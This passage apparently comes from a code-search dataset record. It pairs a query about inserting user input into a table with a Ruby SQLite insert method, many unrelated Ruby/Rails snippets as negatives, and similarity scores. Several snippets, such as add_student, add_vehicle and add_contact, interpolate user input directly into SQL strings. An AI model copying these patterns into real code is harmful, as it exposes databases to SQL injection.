\\\n resultingHotDogStands: hotDogStandsWithFavourablePositions, availableFoodPrices: allAvailableItemsForTheStands[\"availableFoodAndPrices\"], \\\n allFood: Food.all, availableDrinkPrices: allAvailableItemsForTheStands[\"availableDrinksAndPrices\"], allDrinks: Drink.all, \\\n availableCondiments: allAvailableItemsForTheStands[\"availableCondiments\"], allCondiments: Condiment.all } }\n end\n end", "def search\n\n # extract the terms from params\n terms = params[:search_terms]\n\n # redirect to root in case of missing terms\n redirect_to root_path && return if terms.blank?\n\n # extract the terms to an array\n # delete('-') because phones are saved without '-' (numbers only)\n terms_array = params[:search_terms].delete('-').split(' ')\n\n # extract the params using private methods\n age = age_param(terms_array)\n phone = phone_param(terms_array)\n names_array = name_param_array(terms)\n\n # find the people available for the search terms\n @peoples = People.search_by_terms(names_array, phone, age)\n\n # renders 'search.js'\n end", "def index\n #@tire_stores = TireStore.paginate(page: params[:page])\n \n \n ####@tire_stores = TireStore.search(params)\n ####@tire_stores = @tire_stores.paginate(page: params[:page]) unless @tire_stores.nil?\n \n begin\n if session[:showed_mobile_notice].blank? || session[:showed_mobile_notice].to_i < 10\n @show_mobile_notice = true\n session[:showed_mobile_notice] = session[:showed_mobile_notice].to_i + 1\n else\n @show_mobile_notice = false\n end\n rescue Exception => e \n @show_mobile_notice = true \n end\n\n @location = keywords = \"\"\n @radius = 0\n \n @location = params[:Location] if !params.nil?\n if @location.nil?\n if session[:location].blank?\n # let's try to set based on geoip\n begin\n loc = []\n i = 0\n while loc.empty? && i <= 5\n loc = Geocoder.search(request.remote_ip)[0]\n i += 1\n end\n if loc && !loc.city.blank?\n @location = loc.city + ', ' + loc.state\n session[:location] = @location\n end\n rescue\n puts \"**** EXCEPTION\"\n end\n else\n @location = session[:location]\n end\n end\n \n @radius = params[:Radius] if !params.nil?\n if @radius.nil?\n if session[:radius].blank?\n @radius = 10\n else\n @radius = session[:radius]\n end\n end\n \n keywords = params[:Keywords] if !params.nil?\n if keywords.nil?\n keywords = \"\"\n end\n\n @lc = LearningCenter.new\n @brand_seo = @lc.seo_tires_stores_search_results_page_posts\n \n # DG 7/22/15 - New functionality to change how the page looks when searching on a city and state.\n @page_mode = 'location'\n unless @location.blank?\n city_match = /\\A([[:alpha:]](?:[[:alpha:]]|[-. ])+),\\s+([A-Za-z]{2})\\z/.match(@location.strip)\n if city_match\n @page_mode = 'city'\n @city = city_match[1].strip\n @state = city_match[2].upcase\n @location = \"#{@city}, #{@state}\"\n end\n end\n \n \n session[:location] = @location\n session[:radius] = @radius\n\n if !params.nil? && !params[:th_only].nil? && params[:th_only].downcase == \"true\"\n @tire_stores = TireStore.search(params)\n if @tire_stores.nil? || @tire_stores.size == 0\n @tire_stores = ScrapeTireStore.search_all_stores_by_location(@location, @radius, keywords, params[:page], 50)\n end\n else\n @tire_stores = ScrapeTireStore.search_all_stores_by_location(@location, @radius, keywords, params[:page], 50)\n end\n @tire_stores = @tire_stores.paginate(page: params[:page]) unless @tire_stores.nil?\n\n if !@tire_stores.nil? && @tire_stores.size == 1 && @tire_stores.first.th_customer\n redirect_to @tire_stores.first\n else\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tire_stores }\n end\n end\n end", "def search(model=User, instance=\"users\")\n @search = model.search(params[:q])\n instance_variable_set(\"@#{instance}\", @search.result)\n if params[:q]\n redirect_to(:controller => :users, :action => :index, :q => params[:q]) and return\n end\n end", "def nearby\n if params[:latitude].present? && params[:longitude].present?\n places = Place.near([params[:latitude].to_f, params[:longitude].to_f], 50, units: :km).limit(@limit).offset(@offset)\n if places.present?\n respond_with places, status: :ok, location: places_path\n else\n render json: {error: 'Could not find any resources nearby stated location.'}, status: :not_found\n end\n else\n render json: {error: 'Could not find any resources. Check if you are using the required parameters.'}, status: :bad_request\n end\n end", "def redirect_to_index\n redirect_to locations_url\n end", "def from_name\n @locations = Location.where(\"name like ?\", \"%#{params[:id]}%\") \n\n lat = params[:lat]\n lon = params[:lon]\n\n if(lat and lon)\n @locations = Location.nearest_five(lat.to_f, lon.to_f, @locations)\n end\n\n respond_to do |format|\n format.html\n format.json { render :json => @locations }\n end\n end", "def info\n flash[:lat] = params[:lat]\n flash[:lng] = params[:lng]\n \n respond_to do |format|\n #format.html { redirect_to(person_list_url) }\n format.js {render :js => \"window.location = '/find/all'\"}\n #format.xml { render :xml => @person.to_xml(:include => @company) }\n end\n\n \nend", "def map\n @locations = Gig.where(\"lat IS NOT NULL AND lng IS NOT NULL\")\n\n respond_to do |format|\n format.html # map.html.erb\n format.json { render json: @locations, callback: params[:callback] }\n format.xml { render xml: @locations }\n end\n end", "def search\n\n\t\t@search_loc = params[:search_loc] # address user searched for\n\t\t@search_lat = params[:search_lat] # the user's current location latitude. If the address searched for fails to give a new latitude, this is used instead\n\t\t@search_long = params[:search_long] # the user's current longitude - same use case as above\n\t\tif @search_loc != nil\n\t\t\taddress = @search_loc.gsub(/\\s/, \"+\")\n\t\t\turi = URI.parse(\"http://maps.googleapis.com/maps/api/geocode/json?address=\" + address + \"&sensor=false\")\n\t\t\thttp = Net::HTTP.get_response(uri)\n\t\t\tresults = JSON.parse(http.body)\n\t\t\t# if address yielded results, override the user's current location coordinates with the searched-for-latitude/longitude\n\t\t\tif results[\"status\"] != \"ZERO_RESULTS\"\n\t\t\t\t@search_lat = results[\"results\"][0][\"geometry\"][\"location\"][\"lat\"]\n\t\t\t\t@search_long = results[\"results\"][0][\"geometry\"][\"location\"][\"lng\"]\n\t\t\tend\n\t\tend\n\n\t\t@search_item = \"\"\n\t\tif params[:search_item] then\n\t\t\t@search_item = params[:search_item]\n\t\tend\n\t\t@search_item.downcase\n\n\t\t# the default search distance (max circular radius of a restaurant from the searched for location) is 5 unless the user specified a search radius\n\t\t@search_distance = DEFAULT_SEARCH_DISTANCE\n\t\tif params[:search_distance] then\n\t\t\t@search_distance = params[:search_distance]\n\t\tend\n\n\t\t@max_results = DEFAULT_MAX_RESULTS\n\t\tif params[:results] then\n\t\t\t@max_results = params[:results].to_i\n\t\tend\n\n\t\t# Based on the Haversine Formula found on google maps API. The below is a Sql query to find all restaurants that has dishes with a dish name containing the search query or a dish description containing the search query,\n\t\t# (independent of case), or the restaurant name or description contains the search query, and the restaurant must be within the circular search\n\t\t# radius of the searched for location.\n\t\t@restaurants = Restaurant.find_by_sql([\"SELECT DISTINCT restaurants.* from foods, restaurants WHERE\n\t\t\t(3959*acos(cos(radians(?))*cos(radians(restaurants.latitude))*cos(radians(restaurants.longitude)-radians(?)) + \n\t\t\tsin(radians(?))*sin(radians(restaurants.latitude)))) < ? AND ((lower(restaurants.name) like ? OR \n\t\t\tlower(restaurants.description) like ?) OR (lower(foods.dish_name) like ? OR lower(foods.description) like ?)) AND \n\t\t\tfoods.restaurant_id = restaurants.id LIMIT ?\", @search_lat, @search_long, @search_lat, @search_distance, \"%#{@search_item}%\", \n\t\t\t\"%#{@search_item}%\", \"%#{@search_item}%\", \"%#{@search_item}%\", @max_results])\n\n\t\t# All of the dishes returned below are ordered by average rating from highest to lowest.\n\t\t# Similar to the above query, but returns the dishes that are within restaurants within the given distance radius that has a dish name or description\n\t\t# with the search query, or its restaurant name / description has the search query.\n\t\t@dishes = Food.find_by_sql([\"SELECT DISTINCT foods.* from foods, restaurants WHERE \n\t\t\t(3959*acos(cos(radians(?))*cos(radians(restaurants.latitude))*cos(radians(restaurants.longitude)-radians(?)) + \n\t\t\tsin(radians(?))*sin(radians(restaurants.latitude)))) < ? AND ((lower(restaurants.name) like ? OR \n\t\t\tlower(restaurants.description) like ?) OR (lower(foods.dish_name) like ? OR lower(foods.description) like ?)) AND \n\t\t\tfoods.restaurant_id = restaurants.id ORDER BY foods.rating DESC NULLS LAST OFFSET 2 LIMIT ?\", @search_lat, @search_long, @search_lat, \n\t\t\t@search_distance, \"%#{@search_item}%\", \"%#{@search_item}%\", \"%#{@search_item}%\", \"%#{@search_item}%\", @max_results])\n\n\t\t@num_items_per_row = DEFAULT_NUM_ITEMS_PER_ROW\n\t\t@num_rows_per_page = DEFAULT_NUM_ROWS_PER_PAGE\n\t\tif params[:itemspr] then\n\t\t\t@num_items_per_row = params[:itemspr].to_i\n\t\tend\n\t\tif params[:rowspp] then\n\t\t\t@num_rows_per_page = params[:rowspp].to_i\n\t\tend\n\n\t\t@render = 'default'\n\t\tif params[:render] then\n\t\t\t@render = params[:render]\n\t\tend\n\n\t\tif @render == 'json_only' then\n\t\t\trender :json => {:restaurants => @restaurants, :dishes => @dishes}\n\t\telsif @render == 'partials_only' then\n\t\t\trender :partial => 'shared/results', :locals => {:rend => 'all', :dishes => @dishes, :restaurants => @restaurants,\n\t\t\t\t:with_json => false, :num_items_per_row => @num_items_per_row, :num_rows_per_page => @num_rows_per_page}\n\t\telsif @render == 'partials_and_json_only' then\n\t\t\trender :partial => 'shared/results', :locals => {:rend => 'all', :dishes => @dishes, :restaurants => @restaurants,\n\t\t\t\t:with_json => true, :num_items_per_row => @num_items_per_row, :num_rows_per_page => @num_rows_per_page}\n\t\telsif @render == 'dish_partials_only' then\n\t\t\trender :partial => 'shared/results', :locals => {:rend => 'dishes_only', :render_restaurants => false, :results => 'dishes',\n\t\t\t\t:dishes => @dishes, :with_json => false, :num_items_per_row => @num_items_per_row, :num_rows_per_page => @num_rows_per_page}\n\t\telsif @render == 'restaurant_partials_only' then\n\t\t\trender :partial => 'shared/results', :locals => {:rend => 'restaurants_only', :results => 'restaurants',\n\t\t\t\t:restaurants => @restaurants, :with_json => false, :num_items_per_row => @num_items_per_row, :num_rows_per_page => @num_rows_per_page}\n\t\tend\n\t\t# else search.html.erb (the default) will be rendered\n\n\tend", "def update\n @hotspot = Hotspot.find(params[:id])\n @hotspot.latitude = params[:latitude]\n @hotspot.longitude = params[:longitude]\n @hotspot.save!\n respond_to do |format|\n format.html {redirect_to :controller=>:tours,:action=>:show,:tour_id=>@hotspot.tour_id}\n end\n end", "def search\n render: =>'search'\nend", "def track\n search_session['counter'] = params[:counter]\n search_session['id'] = params[:search_id]\n search_session['per_page'] = params[:per_page]\n search_session['document_id'] = params[:document_id]\n\n if params[:redirect] && (params[:redirect].starts_with?('/') || params[:redirect] =~ URI::DEFAULT_PARSER.make_regexp)\n uri = URI.parse(params[:redirect])\n path = uri.query ? \"#{uri.path}?#{uri.query}\" : uri.path\n redirect_to path, status: :see_other\n else\n redirect_to({ action: :show, id: params[:id] }, status: :see_other)\n end\n end", "def create\n @hotspot = Hotspot.new(:longitude=>params[:longitude],:latitude=>params[:latitude],:tour_id=>params[:tour_id])\n @hotspot.latitude = params[:latitude]\n @hotspot.longitude = params[:longitude]\n @hotspot.save!\n respond_to do |format|\n format.js\n format.html {redirect_to :controller=>:tours,:action=>:show,:tour_id=>@hotspot.tour_id}\n end\n end", "def search_images(searchterm,params={})\n @opensearch.search_images(searchterm,params) \n end" ]
[ "0.72949606", "0.6824905", "0.6790763", "0.6708798", "0.6675814", "0.6622349", "0.65944386", "0.6580077", "0.646505", "0.64432156", "0.6420111", "0.63329655", "0.6331927", "0.6328624", "0.6309461", "0.63008064", "0.6275685", "0.6231363", "0.62241036", "0.6219557", "0.62065554", "0.6201379", "0.6196544", "0.61490595", "0.61462003", "0.609852", "0.60896456", "0.607991", "0.6069354", "0.6053313", "0.60459805", "0.6043038", "0.603806", "0.603453", "0.595712", "0.594384", "0.5942917", "0.5938355", "0.589351", "0.5862942", "0.585306", "0.5848889", "0.5841356", "0.58306104", "0.58229756", "0.5822764", "0.58188546", "0.58134043", "0.579549", "0.57949156", "0.578985", "0.5783517", "0.5780817", "0.5773061", "0.5772626", "0.573813", "0.5735807", "0.57235104", "0.5717464", "0.571529", "0.57023525", "0.5700756", "0.5695099", "0.56846637", "0.5674591", "0.56741", "0.5673557", "0.5658864", "0.5656357", "0.565307", "0.5651662", "0.56508017", "0.56451696", "0.5644616", "0.56388235", "0.5638431", "0.5635109", "0.561847", "0.5614899", "0.5613127", "0.5609851", "0.5604197", "0.56033206", "0.5597312", "0.5590271", "0.55875766", "0.55820495", "0.55774134", "0.55751306", "0.55729103", "0.5572744", "0.5572584", "0.55714124", "0.55665886", "0.5560806", "0.5554021", "0.5530023", "0.5529201", "0.5525249", "0.5514966", "0.55141366" ]
0.0
-1
Define method to insert user input into the table
def insert_into_table(db, product, exp_date, prod_type) db.execute("INSERT INTO products (name, expiration_date, type_id) VALUES (?, ?, ?)",[product, exp_date, prod_type]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def insert()\n\n end", "def insert()\n\n # Kräver att det finns ett \"set_table(\"Table\")\" i klassen\n @insertable_vars_full = self.instance_variables # Ta med namnen user.username osv\n @insertable_vars_full.shift(1) # Kinda frisky\n @insertable_vars = []\n @insertable_values = []\n @insertable_vars_full.each do |var|\n @insertable_vars << var[1..-1]\n @insertable_values << self.instance_variable_get(var)\n end\n\n\n @insertable_vars_str = @insertable_vars.join(\", \")\n\n @question_marks = \"\"\n @insertable_vars.each do |key|\n @question_marks.concat(\"?,\")\n end\n @question_marks = @question_marks[0..-2]\n\n DB.execute(\"INSERT INTO #{@table} (#{@insertable_vars_str})\n VALUES (#{@question_marks})\", @insertable_values)\n\n end", "def add_input (db, user_input)\r\n db.execute(\"INSERT INTO strength (date, exercise, weight, reps, minutes, difficult) VALUES (?, ?, ?, ?, ?, ?)\", [user_input])\r\nend", "def insert(value)\n #YOUR WORK HERE\n end", "def insert(value)\n # YOUR WORK HERE\n end", "def insert\n print(\"[en]> \")\n en = STDIN.gets.chomp\n print(\"[ru]> \")\n ru = STDIN.gets.chomp\n model.insert(en, ru)\n end", "def add_new_classmate(db, tbl)\n puts \"Enter user first name: \"\n fname = gets.chomp\n\n puts \"Enter user last name: \"\n lname = gets.chomp\n\n puts \"Enter user twitter id: \"\n twitter = gets.chomp\n\n insert_classmate = \"insert into #{tbl} (first_name, last_name, twitter) values ('#{fname}', '#{lname}', '#{twitter}')\"\n\n db.exec(insert_classmate)\n\n end", "def insertOperation\n\t\tputs \"Enter Product Id\"\n\t\tproid = gets.chomp.to_i\n\t\tputs \"Enter Product Name\"\n\t\tproname = gets.chomp\n\t\tproname = \"'\"+proname+\"'\"\n\t\tputs \"Enter Product Quantity\"\n\t\tproqty = gets.chomp.to_i\n\t\tputs \"Enter Product Cost\"\n\t\tprocost = gets.chomp.to_i\t\n\t\t\t\n\t\tbegin\n\t\t\tresult = @statement.executeUpdate(\"insert into products values(#{proid},#{proname},#{proqty},#{procost})\")\n\t\t\tif result\n\t\t\t\tputs \"Record Inserted Successfully...........\"\n\t\t\telse\n\t\t\t\tputs \"Error Occur while inserting Record\"\n\t\t\tend\n\t\t\t\t#Closing the Connections\n\t\t\t@connection.close\n\t\t\t@statement.close\n\t\trescue Exception => e\n\t\t\tputs e.message\n\t\tend\n\tend", "def add_person\n puts \"Enter Name:\"\n name = gets.chomp\n puts \"Enter Job:\"\n job = gets.chomp\n puts \"Enter Gender:\"\n gender = gets.chomp\n puts \"Enter Age:\"\n age = gets.chomp\n\n $db.execute(\"INSERT INTO people (name, job, gender, age) VALUES (?, ?, ?, ?)\", name, job, gender, age)\nend", "def add_person\n puts \"Enter name: \"\n name = gets.chomp\n puts \"Enter job: \"\n job = gets.chomp\n puts \"Enter gender: \"\n gender = gets.chomp\n puts \"Enter age: \"\n age = gets.chomp\n\n # insert_person_to_db\n $db.execute(\"INSERT INTO people (name, job, gender, age) VALUES (?, ?, ?, ?)\", name, job, gender, age)\nend", "def add_to (table_name,title,code)\r\n\t\"INSERT INTO \" + table_name + \r\n\t\"(title,code) VALUES \r\n\t('\" + title + \"','\" + code + \"')\"\r\nend", "def insert(table, id, attributes) # abstract\n end", "def add_user(db, username)\n puts \"What is the age of the new user?\"\n age = gets.chomp\n db.execute(\"INSERT INTO users (username, age) VALUES (?, ?)\", [username, age])\n puts \"#{username} was added to the table\"\nend", "def insert(sql, name = nil, pk = nil, id_value = nil) end", "def insert\n \n attributes = []\n instance_variables.each do |i|\n attributes << i.to_s.delete(\"@\") if (i != :@id && i != :@table)\n end\n \n values = []\n attributes.each do |a|\n value = self.send(a)\n \n if value.is_a?(Integer)\n values << \"#{value}\"\n else values << \"'#{value}'\"\n end\n end\n \n DATABASE.execute(\"INSERT INTO students (#{attributes.join(\", \")}) \n VALUES (#{values.join(\", \")})\")\n @id = DATABASE.last_insert_row_id\n\n end", "def add_student(first_name, last_name,birthdate)\n @conn.exec(\"INSERT INTO students (first_name, last_name, birthdate) VALUES ('#{first_name}', '#{last_name}', '#{birthdate}');\")\nend", "def add_student(first_name, last_name, birthdate)\n @conn.exec(\"INSERT INTO students (first_name, last_name, birthdate) VALUES ('#{first_name}', '#{last_name}', '#{birthdate}');\")\nend", "def add_student(first_name, last_name, birthdate)\n @conn.exec(\"INSERT INTO students (first_name, last_name, birthdate) VALUES ('#{first_name}', '#{last_name}', '#{birthdate}');\")\nend", "def park_car(db, floor_number)\r\n puts \"Please enter make of car\"\r\n make = gets.chomp\r\n puts \"Please enter model of car\"\r\n model = gets.chomp\r\n puts \"Please enter color of car\"\r\n color = gets.chomp\r\n puts \"Please choose available spot on #{floor_number} floor\"\r\n spot = gets.chomp\r\n \r\n db.execute(\"INSERT INTO garage (make, model, color, floor, spot) VALUES (?, ?, ?, ?, ?)\", [make, model, color, floor_number, spot])\r\n puts \"Thank you for choosing our garage, take your ticket\"\r\nend", "def new_entry (total_cost, tip_percentage, people, total_cost_with_tip, final_per_person)\n DATABASE.execute(\"INSERT INTO split_checks (total_cost, tip_percentage, people, total_cost_with_tip, final_per_person) VALUES (#{total_cost}, #{tip_percentage}, #{people}, #{total_cost_with_tip}, #{final_per_person});\")\nend", "def handle_insert action, result; end", "def insert(item)\n\n\n\n\n end", "def add_new_input(db)\n\tputs \"-\" * 50\n\tputs \"Add New Horse Information: \"\n\tprint \"Name: \"\n\thorse_name = gets.split.map(&:capitalize).join(' ')\n\tprint \"Breed: \"\n\thorse_breed = gets.split.map(&:capitalize).join(' ')\n\tprint \"Color: \"\n\thorse_color = gets.split.map(&:capitalize).join(' ')\n\tprint \"Age: \"\n\thorse_age = gets.to_i\n\tprint \"Rideable (y/n): \"\n\thorse_rideable_input = gets.chomp.downcase\n\tif horse_rideable_input == \"y\"\n\t\thorse_rideable = \"true\"\n\telse\n\t\thorse_rideable = \"false\"\n\tend\n\tadd_new(db, horse_name, horse_breed, horse_color, horse_age, horse_rideable)\nend", "def add_student(first_name, last_name, birthdate)\n @conn.exec(\"INSERT INTO students_db (first_name, last_name, birthday) VALUES ('#{first_name}', '#{last_name}', '#{last_name}', '#{birthdate}');\")\nend", "def add_vehicle(db)\r\n puts \"What year is the vehicle?\"\r\n year = gets.chomp\r\n puts \"What is the make of the vehicle? (Honda, Toyota, Ford, etc.)\"\r\n make = gets.chomp\r\n puts \"What is the model of the vehicle?\"\r\n model = gets.chomp\r\n db.execute(\"INSERT INTO vehicles (year, make, model) VALUES (#{year}, '#{make}', '#{model}')\")\r\nend", "def addContact(db)\r\n\tputs \"******************************New Contact*********************************\"\r\n\tputs \"Enter name:\"\r\n\tname = gets.chomp\r\n\tputs \"Enter Phone Number (No dashes/parens):\"\r\n\tnum = gets.chomp.to_i\r\n\tputs \"Enter Address:\"\r\n\tadd = gets.chomp\r\n\tdb.execute(\"INSERT INTO contacts (name, phone, address) VALUES (?, ?, ?)\", [name, num, add])\r\nend", "def adduser(journal)\n\tputs \"What is the username that you want to add?\"\n\tuser_name = gets.chomp.capitalize\n\tjournal.execute(\"INSERT INTO users (name) VALUES (?)\", [user_name])\nend", "def insert(table_name)\n if table_name == \"authors\"\n DATABASE.execute(\"INSERT INTO authors (name) VALUES ('#{@name}')\")\n @id = DATABASE.last_insert_row_id\n \n elsif table_name == \"location_keys\"\n DATABASE.execute(\"INSERT INTO location_keys (location_name, street, city, \n state, country, address, latitude, longitude) \n \n VALUES ('#{@location_name}', '#{@street}', '#{@city}', '#{@state}', \n '#{@country}', '#{@address}', #{@latitude}, #{@longitude})\")\n \n @id = DATABASE.last_insert_row_id\n \n elsif table_name == \"articles\"\n DATABASE.execute(\"INSERT INTO articles (date, author, text, title) \n \n VALUES ('#{@date}', #{@author}, '#{@text}', '#{@title}')\")\n \n @id = DATABASE.last_insert_row_id\n \n elsif table_name == \"articles_with_locations\"\n DATABASE.execute(\"INSERT INTO articles_with_locations (article_id, location_id) \n \n VALUES (#{@article_id}, #{@location_id})\")\n \n end #if loop\n \n end", "def add_contact(list)\n\n puts \"Please enter new contact name:\"\n add_name = gets.chomp.downcase\n\n puts \"Please enter new contact phone number:\"\n add_phone = gets.chomp.downcase\n\n puts \"please enter new contact email address:\"\n add_email = gets.chomp.downcase\n\n puts \"please enter new contact occupation:\"\n add_occupation = gets.chomp.downcase\n\n puts \"please enter how you know new contact:\"\n add_group = gets.chomp.downcase\n\n list.execute(\"INSERT INTO contacts(name, occupation, association, phone_number, email) VALUES ('#{add_name}', '#{add_occupation}','#{add_group}', '#{add_email}', '#{add_phone}') \")\nend", "def apt_adder(db)\n puts \"1)Enter apartment name:\"\n inp_name = gets.chomp\n\n puts \"2) Address:\"\n inp_addr = gets.chomp\n\n puts \"3) Amenities:\"\n inp_amen = gets.chomp\n\n puts \"4) Rent Range:\"\n inp_rent = gets.chomp\n\n puts \"5) Commute:\"\n inp_commute = gets.chomp\n\n puts \"6) Rating:\"\n inp_rating = gets.chomp\n\n puts \"7) Comments:\"\n inp_comments = gets.chomp\n\n db.execute(\"INSERT INTO apt_list (name, address, amenities, rent_range, commute, rating, comments) VALUES ('#{inp_name}', '#{inp_addr}', '#{inp_amen}', '#{inp_rent}', '#{inp_commute.to_i}', '#{inp_rating.to_i}', '#{inp_comments}') \")\nend", "def add_item(db)\n\tcreate_table_cmd = <<-SQL\n\tCREATE TABLE IF NOT EXISTS items (\n\t\tid INTEGER PRIMARY KEY,\n\t\tname VARCHAR(255),\n\t\tcalories INT\n\t)\n\tSQL\n\tdb.execute(create_table_cmd)\n\n\t$table_exists = true\n\n\tputs \"Please enter item name:\"\n\titem_name = gets.chomp\n\tputs \"Please enter calories for #{item_name}:\"\n\tcals = gets.chomp.to_i\n\tdb.execute(\"INSERT INTO items (name, calories) VALUES (? ,?)\", [item_name, cals])\n\tputs \"Item added successfully!\"\nend", "def new_student (db, name)\n db.execute(\"INSERT INTO student (name) VALUES (?)\", [name])\nend", "def insert(anEntry)\n symbol_table.insert(anEntry)\n end", "def insert\n attributes = []\n instance_variables.each { |i|\n attributes << i.to_s.delete(\"@\")\n }\n\n query_components_array = []\n attributes.each { |x|\n value = self.send(x)\n\n if value.is_a?(Integer)\n query_components_array << \"#{value}\"\n else\n query_components_array << \"'#{value}'\"\n end\n }\n\n query_string = query_components_array.join(\", \")\n puts query_string\n\n DATABASE.execute(\"INSERT INTO items (name, category, location, quantity, cost, description) VALUES (#{query_string})\")\n\n puts \"Inserted successfully!\"\n end", "def exec_insert(sql, name, binds)\n exec_query(sql, name, binds)\n end", "def create_entry()\n\tdb.execute( \"INSERT INTO test (name, codename) VALUES (?, ?)\", [name, code_name])\n\nend", "def add_information\n\t# Open connection\n\tdb = open_connection\n\n\t# Get user input\n\tprint \"Enter Barcode: \"\n\tbarcode = gets.strip\n\tprint \"Enter Item Name: \"\n\titem_name = gets.strip\n\tprint \"Item Category: \"\n\titem_category = gets.strip\n\tprint \"Quantity: \"\n\tquantity = gets.strip\n\tprint \"Price: \"\n\tprice = gets.strip\n\tprint \"Description: \"\n\tdescription = gets.strip\n\n\tbegin # Prepare database query and execute it\n\t\tinsert_new_item = db.prepare \"INSERT INTO #{$db_name}.#{$db_table_name} (Barcode, ItemName, ItemCategory, Quantity, Price, Description) VALUES (?, ?, ?, ?, ?, ?)\"\n\t\tinsert_new_item.execute barcode,item_name,item_category,quantity,price,description\n\t\tinsert_new_item.close\n\trescue # Catch any errors\n\t\tabort \"There was an error adding information into the database.\"\n\tensure # Close the connection to the database\n\t\tdb.close\n\tend\n\tputs \"Information added successfully!\"\n\thome_screen\nend", "def ins table, col, val\n pst = @con.prepare 'INSERT INTO ' + s(table) + '(' + s(col) + ') VALUES(?)'\n pst.execute s(val)\n #puts 'INSERT INTO ' + s(table) + '(' + s(col) + ') VALUES(' + s(val) + ')'\n end", "def insert_into(table, data)\n\t\tkeys = \"(#{data.keys.join(', ')})\"\n\t\tvalues = \"(#{data.values.map{ |value| \"'#{value}'\" }.join(', ')})\"\n\t\texecute_with_retry \"INSERT INTO #{table} #{keys} VALUES #{values}; \"\n\tend", "def insert\n col_names = self.class.columns.join(\", \")\n question_marks = ([\"?\"] * self.class.columns.length).join(\", \")\n DBConnection.execute(<<-SQL, *attribute_values)\n INSERT INTO\n #{self.class.table_name} (#{col_names})\n VALUES\n (#{question_marks})\n SQL\n\n self.id = DBConnection.last_insert_row_id\n end", "def insert()\n\t\t@db.execute(\"insert into ausgaben (jahr, monat, name, betrag, gemeinsam, tags) values(:jahr, :monat, :name, :betrag, :gemeinsam, :tags)\", @options)\n\tend", "def add_exercise(db)\n puts \"What is the name of the exercise you want to add?\"\n exercise = gets.chomp\n if is_existing_exercise(db, exercise)\n puts \"#{exercise} is already in the database.\"\n else\n db.execute(\"INSERT INTO exercises (name) VALUES (?)\", [name])\n puts \"#{exercise} was added to the database.\"\n end\nend", "def to_insert(output, table, row)\n columns = @columns[table].map {|i| i[0] }.join(',')\n values = map_values(row, @columns[table])\n output << \"INSERT INTO #{table} (#{columns}) VALUES (#{values});\\n\"\n end", "def _insert(*)\n fail NotImplementedError\n end", "def insert_question\n print \"Question text : \"\n question_str = $stdin.gets.strip\n print \"Answer text : \" \n answer_str = $stdin.gets.strip\n InsertQuestionCommand.new([question_str,answer_str]).execute\n end", "def staff_insert(h)\n \t\trows = @database.execute <<-SQL\n\t\t\tINSERT INTO staff\n\t\t\t\t( person\n\t\t\t\t, first_name\n\t\t\t\t, last_name\n\t\t\t\t, staff_id\n\t\t\t\t, rate\n\t\t\t\t)\n\t\t\tVALUES\n\t\t\t\t('#{h['person']}'\n\t\t\t\t, '#{h['first_name']}'\n\t\t\t\t, '#{h['last_name']}'\n\t\t\t\t, '#{h['staff_id']}'\n\t\t\t\t, '#{h['rate']}'\n\t\t\t\t)\n\t\tSQL\n\tend", "def create_user(db,name,age,rating,email)\n\ndb.execute( \"INSERT INTO users(user_name,age,user_rating,user_email)\n VALUES(?,?,?,?)\",[name,age,rating,email])\nend", "def insert\n # Preparing for the query...\n cols = self.class.columns\n col_names = cols.map(&:to_s).join(\", \")\n question_marks = ([\"?\"] * cols.count).join(\", \")\n \n # The actual query\n DBConnection.execute(<<-SQL, *attribute_values)\n INSERT INTO\n #{ self.class.table_name } (#{ col_names })\n VALUES\n (#{ question_marks })\n SQL\n \n # Add an id number for the record\n self.id = DBConnection.last_insert_row_id\n end", "def create input\n table = DB.from(@table) #DB[@table]\n \n result = table.insert input\n\n input[:id] = result\n \n # invalidate a cached range\n @@_cached_range = nil\n \n # return an instance of the model class with the data attributes\n get :id => input[:id]\n end", "def generate_insert tab_name, argv\n\n\t\t\t\t# Attribute of table.\n\t\tattribute = \"\"\n\t\tattribute << \"id\"\n\t\ti = 0\n\t\targv.each do |k,v|\n\t\t\tif i == 0 and argv.length != 0\n\t\t\t \tattribute << \",\"\n\t\t\t end\n\t\t\tattribute << k\n\t\t\ti = i.to_i + 1\n\t\t\tif i != argv.length\n\t\t\t\tattribute << \",\"\n\t\t\tend\n\t\tend\n\t\t\t\t# Values of the Attributes.\n\t\tval = []\n\t\tval << \"NULL\"\n\t\ti = 0\n\t\tif argv.length != 0\n\t\t\tbegin\n\t\t\t\tval << \"\\\"#{argv[argv.keys[i]]}\\\"\"\n\t\t\t\ti = i.to_i + 1 \t\t\n\t\t\tend while i < argv.length.to_i\t\n\t\tend\t\t\n\n\t\tif argv.length == 0\n\t\t\tquery = \" INSERT INTO #{tab_name}(#{attribute}) VALUES (#{val * \"\"}) \"\n\t\t\treturn query\n\t\telse\n\t\t\tquery = \" INSERT INTO #{tab_name}(#{attribute}) VALUES (#{val * \",\"}) \"\n\t\t\treturn query\n\t\tend\n\tend", "def insert(name)\n CONN.execute(\"INSERT INTO artits(name) VALUES(?)\", name)\nend", "def insert_table(table, identifier, data)\n if existing_data = get_table(table, identifier)\n if existing_data.empty? || !existing_data.has_key?('.members')\n data.each { |key, value| existing_data[key] = value }\n return data\n else\n error_report \"Error in insert_table: Redefinition of #{identifier}\"\n raise ParseError\n end\n end\n\n table['table_data'].push([identifier, data])\n table['quick_look'][identifier] = 1\n return data\nend", "def insert_table(table, identifier, data)\n if existing_data = get_table(table, identifier)\n if existing_data.empty? || !existing_data.has_key?('.members')\n data.each { |key, value| existing_data[key] = value }\n return data\n else\n error_report \"Error in insert_table: Redefinition of #{identifier}\"\n raise ParseError\n end\n end\n\n table['table_data'].push([identifier, data])\n table['quick_look'][identifier] = 1\n return data\nend", "def insert\n array = [[@name, @tagline, @github, @twitter, @blog_url, @image_url, @biography]]\n ins = DB[:conn].prepare(\"INSERT INTO students (name, tagline, github, twitter, blog_url, image_url, biography) VALUES (?, ?, ?, ?, ?, ?, ?);\")\n array.each { |s| ins.execute(s)}\n self.id = DB[:conn].execute(\"SELECT last_insert_rowid() FROM students;\")[0][0]\n #ask steven re. index figures\n #inserting data into an instance\n end", "def add_to_test(test, student_first, student_last, grade)\n db.execute(\"INSERT INTO #{test} (student_first, student_last, grade) VALUES (?, ?, ?);\", [student_first, student_last, grade])\nend", "def add_student(database, name)\r\n\tdatabase.execute(\"INSERT INTO students (name) VALUES (?)\", [name])\r\nend", "def insert_record(table, values)\n execute table_insert_query(table, values)\n end", "def add_price(asin, title, price_s, price_i, day, day_i)\r\n 